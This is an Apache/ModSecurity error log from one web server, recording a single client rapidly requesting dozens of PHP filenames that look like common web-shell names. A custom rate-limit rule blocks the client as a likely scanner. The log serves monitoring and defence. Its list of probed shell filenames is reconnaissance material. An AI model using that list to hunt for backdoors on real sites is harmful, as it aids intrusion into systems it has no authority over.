[Tue Dec 30 00:03:41.930011 2025] [:error] [pid 24344:tid 24388] [client 158.158.106.197:5048] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lock360.php"] [unique_id "aVKmXU1cesxuccozvjjusQAAAk0"]
[Tue Dec 30 00:03:42.430159 2025] [:error] [pid 4295:tid 4300] [client 158.158.106.197:4948] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f35.php"] [unique_id "aVKmXjZaf4wrmKkZkFJSAgAAAYM"]
[Tue Dec 30 00:03:42.950111 2025] [:error] [pid 24307:tid 24331] [client 158.158.106.197:4908] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f35.php"] [unique_id "aVKmXi5AURuH8IsFzz6bgAAAAdU"]
[Tue Dec 30 00:03:43.471646 2025] [:error] [pid 37389:tid 37454] [client 158.158.106.197:5035] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f35.php"] [unique_id "aVKmX8EYrQKI4GZ26QZzFgAAAQA"]
[Tue Dec 30 00:03:43.978206 2025] [:error] [pid 11452:tid 11502] [client 158.158.106.197:5030] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f35.php"] [unique_id "aVKmX6hBUmuWsliUNqSJggAAAFQ"]
[Tue Dec 30 00:03:44.490206 2025] [:error] [pid 11452:tid 11498] [client 158.158.106.197:5017] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi-o1.php"] [unique_id "aVKmYKhBUmuWsliUNqSJhAAAAFA"]
[Tue Dec 30 00:03:44.986016 2025] [:error] [pid 11453:tid 11522] [client 158.158.106.197:4956] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi-o1.php"] [unique_id "aVKmYLy-FXnKT7-6pt4EqQAAAI0"]
[Tue Dec 30 00:03:45.504093 2025] [:error] [pid 11453:tid 11515] [client 158.158.106.197:11324] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi-o1.php"] [unique_id "aVKmYby-FXnKT7-6pt4EqgAAAIY"]
[Tue Dec 30 00:03:45.993159 2025] [:error] [pid 37389:tid 37459] [client 158.158.106.197:11368] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi-o1.php"] [unique_id "aVKmYcEYrQKI4GZ26QZzGQAAAQU"]
[Tue Dec 30 00:03:46.488403 2025] [:error] [pid 4295:tid 4318] [client 158.158.106.197:4870] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/juuuu.php"] [unique_id "aVKmYjZaf4wrmKkZkFJSBAAAAZU"]
[Tue Dec 30 00:03:47.046060 2025] [:error] [pid 11453:tid 11514] [client 158.158.106.197:4982] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/juuuu.php"] [unique_id "aVKmY7y-FXnKT7-6pt4ErAAAAIU"]
[Tue Dec 30 00:03:47.640717 2025] [:error] [pid 11453:tid 11509] [client 158.158.106.197:5040] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/juuuu.php"] [unique_id "aVKmY7y-FXnKT7-6pt4ErgAAAIA"]
[Tue Dec 30 00:03:48.171997 2025] [:error] [pid 11452:tid 11501] [client 158.158.106.197:5014] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/juuuu.php"] [unique_id "aVKmZKhBUmuWsliUNqSJjAAAAFM"]
[Tue Dec 30 00:03:48.673724 2025] [:error] [pid 4295:tid 4298] [client 158.158.106.197:4901] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ha.php"] [unique_id "aVKmZDZaf4wrmKkZkFJSBQAAAYE"]
[Tue Dec 30 00:03:49.164727 2025] [:error] [pid 24344:tid 24375] [client 158.158.106.197:5053] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ha.php"] [unique_id "aVKmZU1cesxuccozvjjutgAAAkA"]
[Tue Dec 30 00:03:49.688838 2025] [:error] [pid 37389:tid 37475] [client 158.158.106.197:5106] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ha.php"] [unique_id "aVKmZcEYrQKI4GZ26QZzGwAAARU"]
[Tue Dec 30 00:03:50.179434 2025] [:error] [pid 11452:tid 11486] [client 158.158.106.197:4911] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ha.php"] [unique_id "aVKmZqhBUmuWsliUNqSJjwAAAEQ"]
[Tue Dec 30 00:03:50.676887 2025] [:error] [pid 11452:tid 11496] [client 158.158.106.197:4959] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gg.php"] [unique_id "aVKmZqhBUmuWsliUNqSJkQAAAE4"]
[Tue Dec 30 00:03:51.185596 2025] [:error] [pid 11453:tid 11532] [client 158.158.106.197:4918] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gg.php"] [unique_id "aVKmZ7y-FXnKT7-6pt4EtAAAAJc"]
[Tue Dec 30 00:03:51.735239 2025] [:error] [pid 11451:tid 11460] [client 158.158.106.197:4970] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gg.php"] [unique_id "aVKmZ5DUmxySx0Vynm8toAAAAAU"]
[Tue Dec 30 00:03:52.251158 2025] [:error] [pid 11452:tid 11487] [client 158.158.106.197:4866] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gg.php"] [unique_id "aVKmaKhBUmuWsliUNqSJkgAAAEU"]
[Tue Dec 30 00:03:52.756146 2025] [:error] [pid 11452:tid 11504] [client 158.158.106.197:5056] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/we2.php"] [unique_id "aVKmaKhBUmuWsliUNqSJlAAAAFY"]
[Tue Dec 30 00:03:53.276102 2025] [:error] [pid 4295:tid 4299] [client 158.158.106.197:4954] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/we2.php"] [unique_id "aVKmaTZaf4wrmKkZkFJSBwAAAYI"]
[Tue Dec 30 00:03:53.769136 2025] [:error] [pid 11540:tid 11553] [client 158.158.106.197:4883] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/we2.php"] [unique_id "aVKmaQ1izvtkZ6YWaTwNMAAAAMs"]
[Tue Dec 30 00:03:54.325522 2025] [:error] [pid 11451:tid 11478] [client 158.158.106.197:4925] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/we2.php"] [unique_id "aVKmapDUmxySx0Vynm8toQAAABc"]
[Tue Dec 30 00:03:54.866467 2025] [:error] [pid 24307:tid 24318] [client 158.158.106.197:4879] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/04.php"] [unique_id "aVKmai5AURuH8IsFzz6blAAAAcg"]
[Tue Dec 30 00:03:55.393534 2025] [:error] [pid 24307:tid 24310] [client 158.158.106.197:5019] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/04.php"] [unique_id "aVKmay5AURuH8IsFzz6blQAAAcA"]
[Tue Dec 30 00:03:55.896406 2025] [:error] [pid 11451:tid 11455] [client 158.158.106.197:4807] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/04.php"] [unique_id "aVKma5DUmxySx0Vynm8tpQAAAAA"]
[Tue Dec 30 00:03:56.399801 2025] [:error] [pid 24307:tid 24316] [client 158.158.106.197:4955] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/04.php"] [unique_id "aVKmbC5AURuH8IsFzz6blwAAAcY"]
[Tue Dec 30 00:03:56.885458 2025] [:error] [pid 42293:tid 42305] [client 158.158.106.197:4876] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/333.php"] [unique_id "aVKmbApAkHF7zSWhAzGEgQAAAUo"]
[Tue Dec 30 00:03:57.381528 2025] [:error] [pid 11451:tid 11477] [client 158.158.106.197:4821] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/333.php"] [unique_id "aVKmbZDUmxySx0Vynm8tqgAAABY"]
[Tue Dec 30 00:03:58.004211 2025] [:error] [pid 24307:tid 24321] [client 158.158.106.197:5054] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/333.php"] [unique_id "aVKmbi5AURuH8IsFzz6bmgAAAcs"]
[Tue Dec 30 00:03:58.521348 2025] [:error] [pid 11453:tid 11529] [client 158.158.106.197:4887] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/333.php"] [unique_id "aVKmbry-FXnKT7-6pt4EugAAAJQ"]
[Tue Dec 30 00:03:59.024385 2025] [:error] [pid 24344:tid 24394] [client 158.158.106.197:4802] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/520.php"] [unique_id "aVKmb01cesxuccozvjjuuwAAAlE"]
[Tue Dec 30 00:03:59.529862 2025] [:error] [pid 4295:tid 4316] [client 158.158.106.197:4935] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/520.php"] [unique_id "aVKmbzZaf4wrmKkZkFJSDAAAAZM"]
[Tue Dec 30 00:04:00.017634 2025] [:error] [pid 24343:tid 24365] [client 158.158.106.197:5013] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/520.php"] [unique_id "aVKmcMvqvAa0rISAVIR9ogAAAhE"]
[Tue Dec 30 00:04:00.512663 2025] [:error] [pid 24307:tid 24329] [client 158.158.106.197:4993] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/520.php"] [unique_id "aVKmcC5AURuH8IsFzz6bmwAAAdM"]
[Tue Dec 30 00:04:01.009419 2025] [:error] [pid 11451:tid 11474] [client 158.158.106.197:4878] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ar.php"] [unique_id "aVKmcZDUmxySx0Vynm8tswAAABM"]
[Tue Dec 30 00:04:01.497368 2025] [:error] [pid 24344:tid 24381] [client 158.158.106.197:4945] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ar.php"] [unique_id "aVKmcU1cesxuccozvjjuvAAAAkY"]
[Tue Dec 30 00:04:01.992711 2025] [:error] [pid 11540:tid 11557] [client 158.158.106.197:5115] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ar.php"] [unique_id "aVKmcQ1izvtkZ6YWaTwNMQAAAM8"]
[Tue Dec 30 00:04:02.480904 2025] [:error] [pid 24343:tid 24355] [client 158.158.106.197:11297] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ar.php"] [unique_id "aVKmcsvqvAa0rISAVIR9owAAAgc"]
[Tue Dec 30 00:04:02.959062 2025] [:error] [pid 24343:tid 24353] [client 158.158.106.197:4868] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x.php"] [unique_id "aVKmcsvqvAa0rISAVIR9pAAAAgU"]
[Tue Dec 30 00:04:03.455909 2025] [:error] [pid 11452:tid 11492] [client 158.158.106.197:4985] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x.php"] [unique_id "aVKmc6hBUmuWsliUNqSJmgAAAEo"]
[Tue Dec 30 00:04:03.949501 2025] [:error] [pid 11453:tid 11524] [client 158.158.106.197:4852] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x.php"] [unique_id "aVKmc7y-FXnKT7-6pt4EwQAAAI8"]
[Tue Dec 30 00:04:04.429601 2025] [:error] [pid 24344:tid 24376] [client 158.158.106.197:4899] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x.php"] [unique_id "aVKmdE1cesxuccozvjjuvgAAAkE"]
[Tue Dec 30 00:04:05.013251 2025] [:error] [pid 11451:tid 11456] [client 158.158.106.197:4965] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xx.php"] [unique_id "aVKmdZDUmxySx0Vynm8ttAAAAAE"]
[Tue Dec 30 00:04:05.512396 2025] [:error] [pid 24343:tid 24348] [client 158.158.106.197:4815] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xx.php"] [unique_id "aVKmdcvqvAa0rISAVIR9pwAAAgA"]
[Tue Dec 30 00:04:05.993528 2025] [:error] [pid 11540:tid 11556] [client 158.158.106.197:11355] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xx.php"] [unique_id "aVKmdQ1izvtkZ6YWaTwNNgAAAM4"]
[Tue Dec 30 00:04:06.505115 2025] [:error] [pid 11453:tid 11526] [client 158.158.106.197:4958] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xx.php"] [unique_id "aVKmdry-FXnKT7-6pt4ExgAAAJE"]
[Tue Dec 30 00:04:06.999866 2025] [:error] [pid 37389:tid 37461] [client 158.158.106.197:4981] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gifclass4.php"] [unique_id "aVKmdsEYrQKI4GZ26QZzHwAAAQc"]
[Tue Dec 30 00:04:07.515569 2025] [proxy_fcgi:error] [pid 42293:tid 42311] [client 158.158.106.197:4882] AH01071: Got error 'Primary script unknown'
[Tue Dec 30 00:04:07.758156 2025] [proxy_fcgi:error] [pid 42293:tid 42301] [client 158.158.106.197:4882] AH01071: Got error 'Primary script unknown'
[Tue Dec 30 00:04:08.006212 2025] [proxy_fcgi:error] [pid 42293:tid 42306] [client 158.158.106.197:4882] AH01071: Got error 'Primary script unknown'
[Tue Dec 30 00:04:08.249511 2025] [proxy_fcgi:error] [pid 42293:tid 42295] [client 158.158.106.197:4882] AH01071: Got error 'Primary script unknown'
[Tue Dec 30 00:04:08.498205 2025] [proxy_fcgi:error] [pid 42293:tid 42305] [client 158.158.106.197:4882] AH01071: Got error 'Primary script unknown'
[Tue Dec 30 00:04:08.740174 2025] [proxy_fcgi:error] [pid 42293:tid 42309] [client 158.158.106.197:4882] AH01071: Got error 'Primary script unknown'
[Tue Dec 30 00:04:08.983408 2025] [proxy_fcgi:error] [pid 42293:tid 42310] [client 158.158.106.197:4882] AH01071: Got error 'Primary script unknown'
[Tue Dec 30 00:04:09.231152 2025] [proxy_fcgi:error] [pid 42293:tid 42318] [client 158.158.106.197:4882] AH01071: Got error 'Primary script unknown'
[Tue Dec 30 00:04:09.472199 2025] [proxy_fcgi:error] [pid 42293:tid 42299] [client 158.158.106.197:4882] AH01071: Got error 'Primary script unknown'
[Tue Dec 30 00:04:09.957168 2025] [proxy_fcgi:error] [pid 42293:tid 42314] [client 158.158.106.197:4882] AH01071: Got error 'Primary script unknown'
[Tue Dec 30 00:04:10.196058 2025] [:error] [pid 42293:tid 42313] [client 158.158.106.197:4882] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file48.php"] [unique_id "aVKmegpAkHF7zSWhAzGEmgAAAVI"]
[Tue Dec 30 00:04:10.763493 2025] [:error] [pid 24343:tid 24372] [client 158.158.106.197:4950] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file48.php"] [unique_id "aVKmesvqvAa0rISAVIR9qAAAAhg"]
[Tue Dec 30 00:04:11.385327 2025] [:error] [pid 11540:tid 11545] [client 158.158.106.197:5042] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file48.php"] [unique_id "aVKmew1izvtkZ6YWaTwNOwAAAMM"]
